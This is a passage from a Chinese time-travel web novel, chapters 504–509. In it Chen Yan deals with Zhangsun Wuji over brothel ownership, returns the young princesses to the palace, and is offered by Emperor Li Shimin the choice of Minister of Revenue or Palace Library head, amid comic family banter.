陈衍轻嗯一声,“记得,不过王珪要下来这种话,不止一个人跟我说过,具体的原因嘛,我有几分猜测。齐国公认为谁会上去?” 长孙无忌诧异,他没想到陈衍突然问了自己这么一个问题。 想了想,说:“不太好说,目前来看的话,魏征概率最大,但其他人不是没有可能,具体的谁都说不清楚,就看陛下怎么决断了。” “我之所以跟你说这件事,以及其他跟着说这件事的人,或许都认为你或许是影响陛下决断的一大重要因素。” “.......你的意思是指,陛下想为我留下空出的位置?”陈衍猜测。 “不错!”长孙无忌微微颔首,“如果说魏征上位,那么空出的秘书省就是留给你的,这是最有可能的!” “其次,王珪下位,还有机会接替宰相之位的,一个是‘中书令’温彦博,他接替王珪位置的话,足以平稳过渡,不会对目前局势产生太大影响,倘若陛下求稳的话,温彦博甚至更有可能。” “另外一个是清廉刚直的务实人物,戴胄。他上位的话,同样可以给你留下户部。最初的时候,其实陛下压根没想让你跑去渭南县,而是直接去户部,等两年时间,再把戴胄调走,由你掌控户部。” “以目前的情况来说,戴胄上位并非没有可能。” “这样吗?”陈衍听后陷入沉思。 长孙无忌说的这些,他之前就有所猜测了,只是长孙无忌考虑得更全面一些。 从他了解的正史来看,魏征几乎算得上板上钉钉了。 原本的历史就是他接替侍中。 但现在因为自己的出现,正史只能作为参考了。 不过陈衍心里依然觉得,魏征的概率是最大的,同样是最合适的。 但他心里隐隐总冒出一种直觉,李世民要给自己整个大活儿! 侍中绝对不可能,这一点是能肯定的。 唯一不确定的是,自己到底是去秘书省,还是户部了...... 仔细想了想,依然想不通,陈衍索性懒得管了。 反正等自己及冠宴过去就知道了。 “......” 出了长孙府,陈衍便带着李丽质和兕子、城阳在长安城里闲逛起来。 起初李丽质还有些放不开,一举一动仍端着公主与已婚女子的端庄。 可自从兕子往她嘴里塞了块甜滋滋的糕点,陈衍又拉着她瞧了几样新鲜东西,这位大公主终于眉开眼笑,跟着两个小妹妹玩开了。 唯一让她有些不自在的,是身上这身衣裙样式与当下时兴的大不相同,格外雅致好看。 再加上她容貌实在太出众,身边还带着两个粉雕玉琢的小女孩,走到哪儿都引人侧目。 “夫君......要不咱们还是回去吧?”感受到四周时不时投来的目光,李丽质犹豫着开口。 上次遇上马匪的事还让她心有余悸,总担心陈衍和妹妹们的安全。 “别担心,我早有准备。”陈衍微微一笑,从怀中取出一条轻纱面巾,亲手为她系上。 李丽质抬手轻轻碰了碰面纱,眼角弯成了月牙:“谢谢夫君!” 原本一袭白衣已衬得她飘然若仙,如今薄纱掩面,只露出一双清澈的眼眸,更添了几分朦胧之美。 “哇,节奏姐更漂亮了耶!” 兕子适时发出惊叹。 李丽质:“......” 她脸上的笑容一下子僵住,恼怒地敲了下妹妹的头。 什么鬼的节奏姐,难道过去了这么久,她还不能摆脱这个外号吗? “哼!我刚刚说错啦,节奏姐一点都不好看,等我长大了,肯定比节奏姐好看!” 兕子用肉嘟嘟的小手捂着头,小嘴忍不住地嘟囔一句,然后赶紧拉着城阳躲到陈衍身后。 “阿兄,你快管管你家娘子,她总打我!” “管不了一点。”陈衍斜睨着她,“你难道不知道天大地大,娘子最大吗?” “我没帮她揍你就不错了。” 李丽质一下子更高兴了,朝着瘪嘴的兕子哼哼两声,破天荒地挽着陈衍的手臂。 “夫君,你看你看,那边有人变戏法哎!” “嗯......确实,要不咱们过去问问人家,能不能来一个大变活人,把兕子变到宫里去!” “!!!你说真的吗?” “假的!假的!” 兕子急得跳脚,怎么一言不合就要把她送回宫了呢? 还能不能愉快地相处了? 眼看她小脸都皱成一团,李丽质忍不住扑哧笑出声来。 挽着陈衍的手臂不自觉地紧了紧,目光掠过夫君含笑的侧脸,又落回两个嬉闹的妹妹身上。 长街热闹鼎沸,带着丝丝凉意的秋风却吹得人心间发暖。 这一刻的时光,温柔得如同掌心化开的蜜糖。 “......” 第504章 捉迷藏 长孙家办事很快,隔天便把望月楼以及平康坊长孙家的几个风月楼所有权送了过来。 按照约定,陈衍把醉仙楼一成收益给了对方。 高阳对此很不理解,在长孙家的人走后疑惑道:“你用醉仙楼一成的利益,就换取了望月楼以及另外三座青楼?” “承别人的情不好,要不你多给点?” 陈衍挑眉,“为什么这么说?” “那还用问吗?”高阳插着小腰,又开始展现她惊世智慧的猜想,“你知不知道这样一座青楼的价值是多少?每天的收益是多少?你知道光一个头牌的价值就是几千贯吗?” “望月楼乃是平康坊第一楼,里面的名妓那么多,单论纸面价值都已经达到了一万贯,乃至数万贯了。” “更何况,望月楼真正的价值是在其自身代表的影响力,以及其蕴含的人脉价值上,你用醉仙楼一成的收益便换了过来,还额外送了三座不差的青楼。在我看来简直是白菜价!” “长孙无忌绝对想卖你一个人情!” “目光短浅!”陈衍白了她一眼,只能如此评价。 高阳一怔,气恼道:“你说谁目光短浅呢?我难道说错了吗?” “连我一个女子都知道,平康坊乃是文人雅客以及大多官员都光顾的地方,身为平康坊的第一楼,更是人脉的聚集地,每天晚上都能算得上一次顶级宴会,这难道不是望月楼的真正价值吗?” “不比你一座酒楼强?” “所以说你目光短浅!”陈衍依旧保持自己的观点。 高阳咬牙切齿,强忍怒气:“那你倒是说啊,我到底哪里目光短浅了,你说出个所以然来啊!” “好,那我问你!”陈衍坐直身子,认真道:“你说望月楼是人脉的聚集地,我不否认,但你有没有想过,醉仙楼又差在哪里?” “它不一样只接待顶级的客人吗?寻常的百姓能在里面吃得起饭吗?” “你又知道,每天有多少官员、商人,出大价钱只为了在醉仙楼定个位置谈事吗?” 高阳语塞,她关注的一直是陈衍的绢帛那些买卖,没提过几次的醉仙楼确实没怎么关注,不太了解。 醉仙楼现在影响力这么大了吗? 陈衍继续道:“论潜在价值,醉仙楼并没差到哪里去,而且,醉仙楼有一样是望月楼永远比不上的!” “那就是醉仙楼仍然在继续扩张,而望月楼只是唯一!” “是,望月楼的名妓确实多,甚至头牌都不少,但整个长安能找出多少那样的女子?” “全天下又能找出多少那样的女子?” “它的发展比得上醉仙楼吗?有皇家做后盾的醉仙楼,终有一天会成为天下第一楼,望月楼可以吗?” 高阳彻底不说话了。 确实,望月楼的存在,依靠的是名妓,依靠的是头牌。 单单这一点,就卡死了望月楼的发展。 “行了,别搁着叭叭了,来,你看!” 陈衍掰着她,转向空地前玩耍的兕子和城阳,以及小清月,道:“你去跟她们玩吧,女儿让香岚她们照顾,等女儿长大点,你又能多一个玩伴了。” 高阳:??? 什么意思? 是说她只配跟几岁大的孩子玩吗? 正当她想开口说些什么,陈衍扭头喊住经过的李泰。 “你干嘛去?没事的话跟我出去一趟,咱俩选的位置,赶紧重新建造一个科研院。” 李泰顿时兴奋了,“那还等什么?咱俩赶紧走啊!” “行,既然你没事,那走吧!” 两人说着说着,勾肩搭背地走了,只留下满肚子怨气的高阳。 “阿姐,要一起玩捉迷藏吗?可好玩了!” 兕子伸着小脑袋问。 高阳:“......” “......” “陈兄,咱们先去什么地方?” 一出家门,李泰便迫不及待地问。 习惯了每天沉浸在大炮的钻研里,现在冷不丁让他休息,他还有点不习惯。 “找个稍微近点、偏僻点,你整的玩意多少有点危险。”陈衍思索着说。 “再者,我准备开一个商会,也需要选一个地方!” 李泰皱了皱眉,“那我还找个屁,直接进宫吧,让太子和父皇来决定,科研院不就是为了帮大唐钻研一些有用的东西吗?” “你的商会大部分利润同样是他们的,咱们费劲巴拉地找个什么玩意儿?” “要我说,直接把事情全甩给他们,该急的也是他们。” “.......嘶!”陈衍起初不以为意,仔细一琢磨...... 对啊! 干嘛要自己找呢? 让李世民来找不行吗? “好主意!”陈衍竖起大拇指,“你真是你爹的好大儿,有你真是他的福气!” “咱们回去!” “回去?”李泰懵了一下,“不是应该进宫吗?” “回去把兕子和城阳那两个小家伙带上,让她们回去住几天!” 李泰想起自己两个愈发毒舌的妹妹,重重点头,“好主意!” 说干就干,两个大男人回头就冲回了家里,把还在玩捉迷藏、准备躲起来的兕子和城阳扛起就跑。 两个小家伙一脸懵逼。 不知道要咋的了。 等人都跑没了影,小清月扭头看了看远处趴在柱子上数数的高阳公主,挠挠头,转身去后厨帮自己母亲干活了。 “二十八......二十九......三十!” “你们躲好了没有?我来了哟!” 高阳转过身,眼看周围没发现兕子他们的身影,仍然不慌。 开玩笑! 她堂堂生过孩子的已婚女子,难不成玩个幼稚的小游戏还能输给小孩子? 断不可能! “千万要躲好,别出声,我来了哟~” 高阳拍了拍手,自信满满地闲逛,时不时用余光瞄一下有没有躲藏的地方。 可很快,她渐渐地笑不出来了。 高阳找遍了规定场所内所有地方,仍然没找到一个人,有些开始怀疑自我了。 “不是,人呢?” “......” 第505章 细糠全被山猪糟蹋了 “阿兄,你要带我去哪里哇~” 小公主还以为陈衍在跟自己玩,丝毫都不慌,咯咯笑着。 “阿兄带你去一个好地方!”陈衍意味深长道:“那里可好玩了,不仅是全天下最大的地方,还有数不清的人陪你一起玩,而且最重要的是,那里风景优美,景色宜人。” “阿兄其实还会画画呢,等到了地方,阿兄给你画两张美美哒的画像哈。” “真哒?”兕子眼冒星星。 “那当然了,阿兄什么时候骗过你?” “嗯呐,阿兄最好啦!” 陈衍这边还有空忽悠着兕子,而李泰那边却已经满头大汗,气喘吁吁:“陈兄,咱俩能不能换一个,我这个有点重啊!” 城阳:!!! “不许说我重!”城阳气呼呼地喊了声,然后使劲挣扎起来,“放我下来,快放我下来,我不要你抱了!” “好好好。”李泰如临大赦,赶忙把妹妹放下。 城阳插着小腰,恶狠狠地瞪了李泰一眼,提着小裙摆就往陈衍那边追了过去。 她刚刚听到了陈衍和兕子的对话,知道陈衍要带她们出去玩,自然要跟上去。 “快快快,快上来!” 来到外面停放的马车前,陈衍行云流水般将兕子塞了进去,然后顺手抱起城阳同样塞了进去,又赶紧朝李泰招呼。 “来啦,来啦,别催啦!” 李泰擦了擦额头的汗水,扛着城阳这个年纪的小孩子跑,多少有点为难他这个小胖子了。 待他们上车,陈衍悄咪咪地在小顺子耳边说了几句话。 后者有些不解,早上不是说今天准备马车,出去选成立商会和科研院的位置吗? 怎么突然要去皇宫了? 不过小顺子不是爱打听的人,陈衍怎么说他就怎么做。 就这样,在两个小丫头一脸期待的目光中,马车一路行驶至承天门前。 兕子和城阳的脸一下子垮了。 “阿兄,你又骗我?” “什么叫又?”陈衍理直气壮道:“你就说这里面大不大,有没有无数宫女宦官陪你玩,御花园的风景美不美吧?” 兕子:“......” 城阳:“......” “阿兄,你那么大个人,有什么阴招怎么老往我们身上使呢?” “你这样下去,以后会失去我们的。”兕子耷拉着脑袋,有气无力。 城阳亦是满脸生无可恋。 从前在皇宫生活那么久没感觉有什么不好,但自从跟陈衍生活一段时间后,从前的生活她便再也回不去了。 “行了,别废话了,赶紧走吧,你阿娘几个月没见你们了,不得回去看看呐?” 陈衍不由分说地拉着两个小家伙下马车,在守卫习以为常的目光中,带着两个小丫头和李泰进宫。 “阿兄,我希望你说的是真的,只是带我回来看看阿娘。” 兕子小大人似的叹了口气,“否则的话,我就要跟嘴硬姐和节奏姐说你坏话了。” 一股怪异感在陈衍心里油然升起。 你跟她们说我的坏话还少吗? 搁着威胁我呢? 你怕是想多了。 一行人找了个宦官通报一声,等待了一会儿,便被匆匆赶来的无舌领到了甘露殿。 李世民见到他们,顿时喜笑颜开,“小兕子,来让阿耶抱抱。” “阿耶,兕子想你啦~” 小家伙是个戏精,明明不想回来,却在见到李世民后表现得十分热切,扑腾着小短腿冲了过去。 “好好好,让阿耶看看,都怪你阿兄,好几个月都不带你回来看看阿耶,苦了我的小公主了!” “嗯嗯嗯,都怪阿兄。” 陈衍:“......” 得,还怪上我了。 陈衍干咳一声,“既然如此,那今后便让晋阳公主殿下留在宫里吧,病养得也差不多了,宫里同样有好的厨子。” “以后按照我给皇后殿下规定的食谱用膳,注意不要接触花粉等粉尘物,就没什么大问题了。” 李世民一下子更高兴了,身为话题中心的小兕子却僵住了脸。 “好啊,如果是这样的话,你阿娘肯定高兴。” “兕子,城阳,你们是不知道,你们两个走后啊,你阿娘现在整天守着你九皇兄,偏偏你九皇兄又爱玩爱闹腾,总惹你阿娘生气。” “衡山还是个婴儿,朕时常看到你阿娘一个人发呆,她在想你们呢。” 李世民的语气有些感叹,兕子和城阳张了张嘴,什么话都没说出来。 话已经说到这个份上了,她们身为女儿,总不能还闹着要住姐夫家里吧? 平时跟着陈衍,玩归玩,该教的道理陈衍也是认认真真教过的。 “嗯呢,阿耶,兕子知道啦,兕子待会就跟阿姐去陪阿娘。” 小公主一边说着,心里已经开始寻思在宫里住一段时间,然后再想办法跑出去。 反正阿兄已经回长安了,以后不需要去渭南县,应该不难。 想到这里,小公主又高兴了。 李世民欣慰地点点头,女儿乖巧懂事,儿子也让他满意,妻子更是贤良淑德,这已是多少人梦寐以求的事了。 紧接着,他目光移动到李泰身上,更欣慰了。 逆子还活着,没缺胳膊少腿,挺好。 “......父皇,您别这般看儿臣,挺不好意思的......”李泰挠挠头,总感觉李世民看自己的眼神怪怪的。 李世民扯了扯嘴角,没搭理他,转头对陈衍说:“行了,看时辰也不早了,中午留下来跟朕喝两杯吧。” “行啊,陛下您说啥是啥。”陈衍毫不犹豫答应下来,他正想问问李世民对自己的安排,以及出兵的事呢。 李世民抱着兕子,忽然认真盯着他看了两眼,“不知不觉,你已成家育女,过两天便及冠了。今后,莫要再逛青楼的时候,说什么欲买桂花同载酒,终不似,少年游了。” “多么直击人心的一句诗啊,偏偏被你小子用在了逛青楼上,皇后得知以后气得半天没说出话来,直言细糠全被山猪糟蹋了。” 陈衍:“......” “......陛下,我记得当时就那么几个人,你是怎么知道这件事的?”他忽然有些慌了。 这特么该不会要被记史书里吧? “朕怎么知道的?”李世民冷哼,“你也不想想当时在什么地方,从你作出这一句,当天晚上就传遍了平康坊,隔天就已经快蔓延至整个长安了。” “你说朕怎么知道的?” “......” 第506章 陈载酒 “陛下,此事,应当不会被记载吧......” 陈衍怀揣着一点点微弱的希望,试探地问。 李世民拍了拍他的肩膀,露出一个意味深长的笑,“这个朕说不好,不过就目前来说,你的很多事都会被史官记载,就跟朕平时的一言一行都有史官记录一样。” “再一个,类似这样的诗词,绝对是会被记录下来的,今后说不定还要刻在你的墓室里,画成壁画。” 说着,他下巴朝角落一个没什么存在感的人点了点。 陈衍回头望去,那史官面无表情地与他对视。 很好,他确定了,这是一个无情的记录机器。 “陈兄,恭喜啊,又有一句足够流传千古的诗词被记下来!” 李泰哈哈大笑,那天他还在感叹自己才华不如人,现在只剩幸灾乐祸了。 “用不着恭喜我,魏王殿下当初跟只蛤蟆一样被炸弹掀飞,我亦会请求史官记录下来,好让后人瞻仰魏王殿下的风采,以及制作炸弹的困难与艰辛。”陈衍不急不缓道。 李泰笑容一僵。 “陈兄,咱们可是......” 李世民揉了揉太阳穴,打断他的话:“行了,你俩大哥不说二哥,都是些丢人现眼的玩意儿,跟朕走吧,喝酒去!” “哎好嘞。”陈衍赶忙跟上。 李泰骂骂咧咧,但李世民已经发话了,他不好多说什么。 路上,陈衍似是想到了什么,兴致勃勃道:“陛下,我现在回长安了,你是不是该给我安排个职位了?” “要不您直接让我当史官吧,我觉得我挺合适的!” “......滚,有多远给朕滚多远!” 李世民骂道:“彼其娘的,想干什么不好?非想着干史官,你难道不知道朕烦史官了吗?” “想都不要想!” 话毕,不给陈衍继续说话的机会,李世民挥袖大步走了。 李泰挤眉弄眼地凑过去,“陈兄,其实有一段时间,我也想过当史官,我能理解你。” “你理解个屁。” 陈衍翻了个白眼。 李泰只是想想,而他是真想干史官! 别的不说,这玩意握着笔杆子,谁在他面前都得把身子站直咯。 李世民烦的东西,能是什么不好的东西吗? “......” 来到熟悉的立政殿,陈衍一时间有些唏嘘。 他来这里的次数,好像比去甘露殿还要多。 然而,就在他唏嘘的时候,兕子扑腾着从李世民身上下来,朝着里面飞奔而去。 “阿娘,阿娘,我带着桂花兄回来啦,快出来看看呀!” 陈衍:??? 霎时间,他的脸色黑了下来。 自节奏姐、嘴硬姐之后,他在兕子那里,终于有了自己的外号吗? 神特么的桂花兄! 此刻,长孙皇后还在叮嘱侍女该给小女儿准备厚一些的衣物,听到熟悉的声音,立马欢喜起来。 但听清女儿说的话时,又变得哭笑不得。 抱着刚跑过来的女儿,长孙皇后笑着捏了捏她肉嘟嘟的脸,“你呀,怎么老是喜欢给别人取外号?你丽质阿姐都跟阿娘写信告状了,说你叫她节奏姐,叫高阳嘴硬姐!” “有没有这回事呀?” 小公主使劲摇头,振振有词:“污蔑,阿娘,阿姐绝对是在污蔑我!什么节奏姐?太难听了,我怎么可能取这种名字?” “不过桂花兄确实是我取的,阿娘你不是说细糠都被山猪糟蹋了吗?” 长孙皇后似笑非笑地瞥了眼刚进来的陈衍,对着兕子说,“那你取错了,应该叫‘载酒小郎君’才对。” 陈衍:“......” “哈哈哈哈哈!”李世民可不顾及别的,当即大笑起来。 “载酒小郎君......快给朕把这个记上,等他及冠的时候,朕就这么喊。” 此言一出,在场的人纷纷哈哈大笑起来。 只有陈衍苦着脸,载酒小郎君......桂花兄,一个比一个难绷啊! 他感觉自己的一世英名要被毁了。 毁在最不可能的那个人身上。 “皇后殿下,我是好孩子来的啊,您怎么能这么说我?” 长孙皇后轻哼,“家里有两个美若天仙的娘子,你还跑去逛青楼,你算什么好孩子?” “再说了,外面多少诗人即使想有个别称都难呢,这可是天下九成九诗人都在追求的东西。” “你跑去逛个青楼,得了个‘陈载酒’别称,你还有什么不满足的?” “是吗?”陈衍一怔,脑子开始运转起来。 不多时,他眉头舒展开。 长孙皇后好像说得确实没错,晚唐诗人赵嘏因《长安秋望》中‘残星几点雁横塞,长笛一声人倚楼’一句意境高远,被杜牧称为‘赵倚楼’。 这是别称,亦是美赞。 “好吧。”陈衍无话可说了。 至少在外人看来,他被叫做‘陈载酒’并无不妥,反倒是极高的美赞。 “子安,青雀,别站着了,坐吧。”长孙皇后示意两人坐下,然后朝身边的女官吩咐:“让尚食局准备膳食和美酒吧,子安向来是无事不登三宝殿,今日只带回了兕子,怕是跟陛下有不少事聊。” 陈衍尴尬道:“殿下,别这么说,万一我真的只是单纯想把兕子和城阳送回来呢?” “呵呵,有没有你自己心里清楚。” 长孙皇后还没回话,李世民便斜了他一眼,随后朝他仰了仰下巴,“还等什么呢?坐吧,有什么事现在就可以说了。” 陈衍不说话了,给了李泰一个目光。 后者会意,当即拱手道:“父皇,是这样的,儿臣跟陈兄不是回长安了吗?但有关火药和大炮的钻研还需要继续,儿臣希望能在长安有一个僻静的地方建造科研院,继续为我大唐做贡献啊。” “这个不是问题!”李世民大手一挥:“朕在长安有不少僻静的庭院,待会朕让无舌跟你说说,你自己选个地方,修建一下就能用了。” 李泰大喜,“儿臣多谢父皇。” “不必多礼。” 李世民满脸无所谓,他还以为什么事呢,结果就这么屁大点事。 “你呢?陈载酒?” 陈衍那叫一个蛋疼啊。 总有一种发了朋友圈,然后第二天被寝室哥们儿嘲笑的感觉。 “......” 第507章 二选一 尚食局办事效率很高,不多时便将一道道佳肴端了上来,同时送上了美酒。 陈衍起初没太当回事,还在寻思待会怎么合理地问问李世民对自己的安排,好趁着这段时间做出一些准备。 不管是秘书省,亦或是户部,提前收到消息,拉拢一些人,等上任之后总归是好办事些。 只是,让陈衍没想到的是,李世民拒绝了无舌帮忙倒酒,而自己提起了酒壶,亲自给他倒酒。 陈衍吓了一跳,“陛下,使不得!” 他连忙伸手想要制止,却被李世民一个眼神拦住。 李世民一边倒酒,一边自顾自地说:“趁着今日没外人,朕同你说说心里话。” “不怕你笑话,这两年来,朕总有一种时来天地皆同力的感觉,朕想干什么事,遇到什么困难,都犹如天助,不知不觉事情就办妥了,困难被解决了。偶尔,朕晚上就寝前,也会暗自得意,想着自己当初并未做错,朕才是真正的真命天子!” “要不然,哪里会如此之顺呢?” “但是,得意过后,朕亦会暗自反省,仔细琢磨一切的由来!” “后来朕明白了,这哪里是什么时来天地皆同力啊。天地从未助朕,否则也不会在贞观元年开始,到贞观四年都天灾人祸不断。” “大唐能有今天,朝着盛世的方向不断前进,皆是因为朕得了一惊世之才!” 李世民手指摩挲酒杯,认真道:“子安,在这两年,你真的为大唐做了太多。从拿出细盐,再到救治兕子、皇后、克明,以及后面的一桩桩、一件件,朕都记在心......” “等等,等等,陛下。”陈衍越听越觉得不对,急忙打断他的话,小心翼翼地提醒:“陛下,我可是您亲女婿啊!” “所谓一个女婿半个儿,我娶您两个女儿,四舍五入之下,咱俩形同父子啊,陛下!” 李世民:“......” 听着他的话,李世民仔细一琢磨,彻底蚌埠住了。 长孙皇后亦是哭笑不得。 这算怎么回事? 跟你说些心里话,你莫不是以为要砍你脑袋了? “你这小子,怎么还没个正行!”李世民笑骂:“朕要是想砍你,还会反复叮嘱你保护好自己的脑袋吗?” “你脖子上顶着的那玩意,可是大唐最重要的宝藏,朕舍不得砍它下来的,放心吧!” “不过,方才你说的那个四舍五入,确实有几分道理。”长孙皇后在一旁补充了一句,同样算得上表明态度。 “那就好。”陈衍顿时松了口气。 突然跟他说这些,还以为要砍他了呢。 李世民顿了顿,咂咂嘴,方才酝酿好的情绪已经被打乱,想继续说下去也张不开口了。 “......算了,朕都服了你了。” “喝!” 三人碰了碰杯,畅饮一杯。 “行啦,说吧,你今天来是干什么的?” 陈衍组织了一下言语,娓娓道:“是这样的,陛下,我今日前来只为三件事!第一嘛......跟青雀兄差不多,我不是从渭南县回来了吗?” “那边很多买卖我便不打算放在渭南县的县衙了,我打算在长安成立一个商会,从此渭南县作为一个工业化县城,专门用来制造绢帛等物品。如此一来,既不会对渭南县的发展产生太大影响,同时也将所有买卖整合在一起,方便日后管理和分账。” 李世民了然,“所以,你跟青雀一样,想要个好地方用来成立商会?” “对,陛下聪明绝顶,一猜即中。” “别拍朕马屁,朕早跟你说过,你拍朕马屁,朕浑身刺挠。” 陈衍:“......” “这事不难,回头朕给你找找吧。”李世民想了想,一口答应下来。 随后问:“第二呢?” “按照朕对你的了解,你一般会先说些不重要的事开场,朕想,你接下来要说的事才是重点。” “那倒也不算......”陈衍讪笑,“其实,我就是想问问您,打算给我安排到什么地方去,我好提前有个准备。” 李世民夹菜的手一顿,放下筷子,盯着他说:“既然你问出口了,那朕亦不瞒着你,具体去哪里,朕其实根本没想好。” “但朕想让你直接上任户部尚书,或者秘书监,正好你今天也在,朕转念一想,与其让朕头疼,不如给你个机会,你自己选一个吧。” 此言落下,一旁的李泰豁然抬头,很是震惊。 直接上任户部尚书或者秘书监? 嘛蛋,从一个六品小县令,一跃到正三品或者从三品? 这他娘的已经不能叫升官了吧? 一步登天也不过如此了! 如果是秘书监那还好说,属于从三品,虽然算得上高级官员,但与真正的顶峰执政官来说,仍有半步之遥。 但户部尚书却是不同了,属于正三品不说,还是管理国家财政的顶尖实权官员,跟管官的吏部尚书被誉为六部中权力最大的两人。 同时还有一个说法,户部尚书和吏部尚书算得上宰相的候选人! “真他娘的要一飞冲天了啊。” 李泰不得不在心里感慨,而后摇摇头,拔下一个鸡腿吃了起来。 嗯,这玩意真香。 “......” 听到李世民的话后,饶是陈衍早有心理准备,也是被惊讶到了。 沉默良久,他嘴唇都干涩了:“陛下,您真是给我整了个大活儿啊。” “相信,倘若换做其他任何一个人前来面对这两个选择,都会毫不犹豫地选户部尚书。” “那可是掌管整个大唐户口、土地、财政、税收、钱粮、漕运、预算的顶尖实权官员,随口一句呢喃便能令人震耳欲聋的存在。” 长孙皇后听到这话,心里一个咯噔。 李世民给他整了个大活儿,这傻小子该不会也要给李世民整个大的吧? 就像他说的那样,就算傻子来了都知道怎么选啊! 李世民赞叹道:“你说得不错,孱弱者的嘶吼无人在意,而站在山峰的掌权者,他的呢喃却能震耳欲聋。” 他认真盯着陈衍:“所以,子安,告诉朕,你的选择是什么?” “......” 第508章 性情使然打一架没什么好奇怪的 从前面陈衍的意思,李世民有跟长孙皇后一样的想法。 他预测陈衍可能更偏向秘书监,要不然不至于说出换一个人会毫不犹豫选户部尚书这种话。 不过李世民并不在意,这两个位置他是经过深思熟虑的,无论陈衍选哪个,都不妨碍他今后用陈衍。 总而言之,无论是秘书监,又或者是户部尚书都在李世民的接受范围内。 唯一可惜的是,他觉得让陈衍来管户部可能更合适一点。 “有史选史,无史选户,如果陛下让我选,那我当然是更加倾向于户部。”陈衍长叹一声,似乎在可惜自己仍没有完成心愿,当上史官。 “嗯?”李世民讶异,“你选户部?” “对!”陈衍坦然道:“毕竟傻子都知道怎么选,我要是选了秘书监,那我不连傻子都不如了吗?” 李世民眼角抽搐,实在没想到陈衍选户部的原因竟然是这个。 这可太陈衍了。 长孙皇后倒是有不同的看法,她认为这只是陈衍一句玩笑话罢了。 主要的问题,还是因为他现在已经不是一个人,手下跟着杜构、房遗直等人,考虑问题不能只考虑自己。 这才是导致他选择户部的原因。 “你想去户部的话,那么你可能要再等等,今年只能做一个户部侍郎了,戴胄朕是打算过完元日再进行调动的。”李世民思索道。 “不过,等你及冠宴过去,再到上任,差不多到十月底了,今年就快过去了,所以倒也不是什么问题。” “正好可以趁着那段时间,先让你熟悉一下户部,让戴胄将一些东西交接给你。” “而且,这样做的话,阻力会小很多!” “从一个六品官员升至正三品的户部尚书,和正四品的户部侍郎升为户部尚书,其中的阻力宛如天堑。” “我能理解的,陛下看着安排便好,哪怕让我等几年也没关系。”陈衍对这方面看得很开。 他本来就没想过要当多大的官,可李世民已经这样安排,曾暗示过好几次无果的他实在不好拒绝,只能接受了。 如果可以,陈衍甚至想让戴胄多留一段时间。 上面有个高的顶着,总归是要舒服很多。 自己当老大的话,要考虑的问题就太多了。 “既然如此,那就这样定下来吧。” 李世民重新拿起筷子,“但朕得提醒你,上任之后一定要拿捏好分寸,该骂娘的时候使劲骂,朕替你兜着,若你在不该骂娘的时候骂,你就别怪朕不帮你了哈。” 陈衍眨眨眼,“敢问陛下,什么是合适的时候?” 李世民干咳,“关于这点,你自己悟去吧。” “那我懂了。”陈衍恍然大悟,郑重道:“请陛下放心,该骂的时候,我自认为还是有几分嘴皮子功夫的。” “不说骂的人吐血三声,把人家祖宗十八代全部问候一遍大概率没什么问题。” “......” “你自己心里有数就好。” 面对长孙皇后投来的怪异目光,李世民属实觉得有点尴尬,自己方才是不是暗示得有点明显了? “好了好了,不说这个了,吃菜,吃菜!” 他赶忙招呼几人夹菜,还顺手给女儿夹了块牛肉,随即看向一个劲吃喝的李泰,找了个话题。 “青雀啊,你那个大炮钻研得怎么样了?” “今年快过去了,到了明年,朕就打算对吐谷浑动兵了,如果你那边有什么成果的话,尽快拿出来,让将士们少点牺牲嘛。” “哪有那么快呀父皇。”李泰苦着脸,“大炮可不是热气球,只要懂原理,肯花钱就能造出来,大炮太难了,儿臣现在还在努力呢。” “但您若是打算明年冬天出兵,倒是来得及,若您年初就打算出兵,那可能就来不及了,只能多准备些炸药。” “你尽快。”李世民思索道:“动兵不是小事,自然是得在最好的时机,冬天是最好的选择,你努努力,尽快把你们说的那神威大炮给造出来,好让朕见识见识。” 李泰能怎么说? 只好答应下来呗。 不过在明年冬天之前,他自认为还是有几分把握的。 “陛下,您真确定要出兵了?” 陈衍突然发问。 李世民坚定道:“必须明年动兵,朕想在有生之年,解决掉大唐所有隐患,拖一年,就少一分机会,更别说又多了一个必须解决的倭国!” “那就打吧!”陈衍一下子没意见了。 如果不是情况确实不允许,大唐边境受到骚扰,他绝对怂恿李世民先打倭国。 相信李世民自己也很想打。 “对了!”李世民想起一件事,脸黑了下来,“最近程老黑他们整天上蹿下跳,是不是你小子出的馊主意?” 提起这个,长孙皇后都露出了无语的表情。 陈衍心里一个咯噔,顿感不妙。 “程伯伯他们怎么了?” “怎么了?”李世民轻哼,“这几个黑货吃饱了找不到事情干,一天到晚给朕惹祸,上个月跟崔民幹因为一点口角之争,当着满朝文武的面打了起来,现在崔民幹还在家躺着呢,你说怎么了?” “尉迟敬德就算了,程咬金那么死精的一个人,也干出这种事,要说没人在背后出馊主意,朕是绝对不相信的。” 说这话的时候,李世民眼睛死死盯着陈衍,像是要在他脸上看出什么来似的。 陈衍嘴唇微动,额头冒出两条黑线,讪讪道:“那个......男人嘛,性情使然打一架没什么好奇怪的......希望陛下您可以理解一下,毕竟程伯伯他们许久未曾上过战场了,可能有点手痒。” “你看,观音婢,你就看吧!”李世民转头没好气道:“朕就说绝对是这小子出的主意,现在还在给那两个黑货找补呢。” “不止!”长孙皇后轻轻擦了擦嘴,“他还在暗示您程咬金他们许久未曾上战场了。” “臣妾算是看明白了,他这是想让程咬金他们戴罪立功呢,啧啧,这种不走寻常路的办法,也只有这小子能想出来。” “你还有什么好说的?”李世民注视着陈衍。 陈衍挠挠头,叹息一声。 让你们找罪,但你们找得有点太明显了吧? 这特么都算得上找事了。 “.......” 第509章 你直接给人家祖祠烧了呗! “纵观大唐,试问天下,没他娘一个让我省心的!” 走出皇宫,陈衍仰天长叹。 家里的索命娇妻也罢,亦或自己亲自教导,从话都说不清,到现在白白胖胖的小兕子也是。 像什么程处默、魏王李泰,太子李承乾这些人就更不用说了,整天都得他操心。 一个搞不好,这几个货色就能把自己玩死。 现在,连程咬金他们上一辈都开始花式横跳了。 这大唐到底还能不能待了? 陈衍不禁在心里发出疑问。 “陈兄,我看你是着相了,父皇如果真的生气,就不会跟你提此事,而是直接处罚程将军他们了。既然跟你道明,那就代表父皇并未生气,事情还有回旋的余地。” 李泰无所谓道:“再说了,程将军他们的所作所为,说不定还合了父皇的心意,待到明年,总不能派李靖一个人管着所有吧?” “以我对父皇的了解,搞不好就是想让你去提醒一下程将军他们差不多就行了,做得太明显不好。” 别说,你还真别说! 听完李泰的话,陈衍仔细琢磨了一会儿,觉得挺有道理的。 这确实很符合李世民的性格。 想了想,他无奈道:“那你先回去吧,我去找程伯伯说一声,免得他们继续闹下去。” “这一天天的,真不让人省心!” “行,你去吧,我去外面逛逛。”李泰突然想到了什么,嘴角微微上扬,露出一丝愉悦的笑容。 